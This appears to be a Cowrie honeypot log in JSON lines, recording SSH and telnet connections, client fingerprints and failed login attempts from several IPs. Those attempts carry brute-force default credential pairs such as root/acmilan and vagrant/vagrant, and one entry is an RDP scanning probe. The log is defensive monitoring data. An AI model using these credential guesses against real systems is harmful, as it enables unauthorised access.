{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49702,"dst_ip":"10.17.0.5","dst_port":23,"session":"2be7cbdb405c","protocol":"telnet","message":"New connection: 152.42.224.71:49702 (10.17.0.5:23) [session: 2be7cbdb405c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:12.753445Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:13.145859Z","src_ip":"94.26.106.229","session":"bb1463daa943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35154,"dst_ip":"159.203.135.109","dst_port":22,"session":"42110c7c3238","protocol":"ssh","message":"New connection: 45.156.87.204:35154 (159.203.135.109:22) [session: 42110c7c3238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:13.214284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:13.219314Z","src_ip":"45.156.87.204","session":"42110c7c3238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:13.301701Z","src_ip":"45.156.87.204","session":"42110c7c3238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:13.548643Z","src_ip":"45.156.87.204","session":"42110c7c3238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49718,"dst_ip":"10.17.0.5","dst_port":23,"session":"38222778270e","protocol":"telnet","message":"New connection: 152.42.224.71:49718 (10.17.0.5:23) [session: 38222778270e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:14.129870Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55212,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7b4574e16d4","protocol":"ssh","message":"New connection: 94.26.106.229:55212 (159.203.135.109:22) [session: e7b4574e16d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:14.281219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:14.285818Z","src_ip":"94.26.106.229","session":"e7b4574e16d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:14.382808Z","src_ip":"94.26.106.229","session":"e7b4574e16d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:14.641759Z","src_ip":"45.156.87.204","session":"42110c7c3238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hooman","password":"hooman","message":"login attempt [hooman/hooman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:14.647876Z","src_ip":"94.26.106.229","session":"e7b4574e16d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:15.733882Z","src_ip":"94.26.106.229","session":"e7b4574e16d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55234,"dst_ip":"159.203.135.109","dst_port":22,"session":"124346f77d5a","protocol":"ssh","message":"New connection: 94.26.106.229:55234 (159.203.135.109:22) [session: 124346f77d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.446174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.451252Z","src_ip":"94.26.106.229","session":"124346f77d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.535795Z","src_ip":"94.26.106.229","session":"124346f77d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.87981057167053,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.569826Z","src_ip":"152.42.224.71","session":"c3f12457aaa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52216,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b6dd04cb84","protocol":"ssh","message":"New connection: 167.172.81.52:52216 (10.17.0.5:22) [session: a3b6dd04cb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.596064Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35164,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9538e4352f9","protocol":"ssh","message":"New connection: 45.156.87.204:35164 (159.203.135.109:22) [session: a9538e4352f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.604508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.609188Z","src_ip":"45.156.87.204","session":"a9538e4352f9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.623523Z","src_ip":"167.172.81.52","session":"a3b6dd04cb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.629024Z","src_ip":"167.172.81.52","session":"a3b6dd04cb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.691374Z","src_ip":"45.156.87.204","session":"a9538e4352f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"p@ssw0rd","message":"login attempt [nginx/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:16.798677Z","src_ip":"94.26.106.229","session":"124346f77d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:17.074882Z","src_ip":"45.156.87.204","session":"a9538e4352f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:17.886580Z","src_ip":"94.26.106.229","session":"124346f77d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:18.158677Z","src_ip":"45.156.87.204","session":"a9538e4352f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55250,"dst_ip":"159.203.135.109","dst_port":22,"session":"f896be6d0aac","protocol":"ssh","message":"New connection: 94.26.106.229:55250 (159.203.135.109:22) [session: f896be6d0aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:18.542212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:18.547015Z","src_ip":"94.26.106.229","session":"f896be6d0aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:18.635603Z","src_ip":"94.26.106.229","session":"f896be6d0aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"acmilan","message":"login attempt [root/acmilan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:18.900893Z","src_ip":"94.26.106.229","session":"f896be6d0aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:20.044591Z","src_ip":"94.26.106.229","session":"f896be6d0aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35180,"dst_ip":"159.203.135.109","dst_port":22,"session":"f958fa893128","protocol":"ssh","message":"New connection: 45.156.87.204:35180 (159.203.135.109:22) [session: f958fa893128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:20.394878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:20.399278Z","src_ip":"45.156.87.204","session":"f958fa893128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:20.480830Z","src_ip":"45.156.87.204","session":"f958fa893128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:20.729147Z","src_ip":"45.156.87.204","session":"f958fa893128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c73b78716c","protocol":"ssh","message":"New connection: 94.26.106.229:55272 (159.203.135.109:22) [session: d0c73b78716c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:21.160749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:21.165507Z","src_ip":"94.26.106.229","session":"d0c73b78716c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:21.253658Z","src_ip":"94.26.106.229","session":"d0c73b78716c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:21.516929Z","src_ip":"94.26.106.229","session":"d0c73b78716c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:21.813466Z","src_ip":"45.156.87.204","session":"f958fa893128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54544,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8cdc7c1c00f","protocol":"ssh","message":"New connection: 103.77.242.62:54544 (10.17.0.5:22) [session: d8cdc7c1c00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:22.209849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:22.214460Z","src_ip":"103.77.242.62","session":"d8cdc7c1c00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:22.454242Z","src_ip":"103.77.242.62","session":"d8cdc7c1c00f","protocol":"ssh"}
